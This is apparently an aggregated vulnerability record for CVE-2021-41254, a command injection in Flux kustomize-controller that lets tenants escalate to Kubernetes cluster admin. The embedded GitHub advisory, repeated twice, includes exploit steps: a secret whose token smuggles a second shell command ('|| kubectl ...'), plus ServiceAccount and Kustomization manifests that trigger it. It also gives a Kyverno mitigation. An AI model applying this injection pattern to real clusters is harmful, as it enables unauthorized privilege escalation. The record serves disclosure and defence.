{"id":"CVE-2021-41254","aliases":["BIT-kustomize-2021-41254","EUVD-2021-2283","GHSA-35rf-v2jv-gfg7","GO-2022-0260"],"status":"published","title":"Privilege escalation to cluster admin on multi-tenant environments","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01824,"percentile":0.79106,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2021-11-12T17:45:10Z","modified":"2026-11-09T02:45:20Z","fixes":[{"ecosystem":"Go","package":"github.com/fluxcd/kustomize-controller","fixed_in":["0.15.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"kustomize","fixed_in":["0.15.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/fluxcd/kustomize-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"kustomize","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/fluxcd/kustomize-controller","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/fluxcd/kustomize-controller","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}]}],"products":[{"vendor":"fluxcd","product":"kustomize-controller"}],"references":[{"url":"https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Mitigation","Third Party Advisory","advisory","evidence","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41254","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-35rf-v2jv-gfg7"},{"url":"https://github.com/fluxcd/kustomize-controller","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2021-41254","title":"Privilege escalation to cluster admin on multi-tenant environments","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","status":"published","published":"2021-11-12T17:45:10Z","modified":"2024-08-04T03:08:31.648Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:59.430294Z"}],"euvd":[{"id":"EUVD-2021-2283","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","status":"published","published":"2021-11-12T17:45:10Z","modified":"2024-08-04T03:08:31Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T03:24:18.784846Z"}],"ghsa":[{"id":"GHSA-35rf-v2jv-gfg7","title":"Privilege escalation to cluster admin on multi-tenant environments","description":"Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n","status":"published","published":"2021-11-15T17:35:33Z","modified":"2023-02-01T05:06:27Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:36:39.086869Z"}],"nvd":[{"id":"CVE-2021-41254","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","status":"published","published":"2021-11-12T18:15:07.6Z","modified":"2026-06-17T04:08:11.08Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":9,"vector":"AV:N/AC:L/Au:S/C:C/I:C/A:C","level":"high","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:07:00.984108Z"}],"osv":[{"id":"CVE-2021-41254","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","status":"published","published":"2021-11-12T18:15:07.6Z","modified":"2026-11-09T02:45:20.564870616Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-35rf-v2jv-gfg7","title":"Privilege escalation to cluster admin on multi-tenant environments","description":"Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n","status":"published","published":"2021-11-15T17:35:33Z","modified":"2026-09-10T03:49:09.46608079Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"BIT-kustomize-2021-41254","title":"Privilege escalation to cluster admin on multi-tenant environments","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","status":"published","published":"2024-03-06T10:55:51.596Z","modified":"2026-09-08T08:48:08.020056251Z","updated_at":"2026-11-02T15:28:32.162822Z"},{"id":"GO-2022-0260","title":"Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller","description":"Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller","status":"published","published":"2024-08-21T14:30:26Z","modified":"2026-02-04T02:38:30.562568Z","updated_at":"2026-11-02T15:47:00.604718Z"}]}}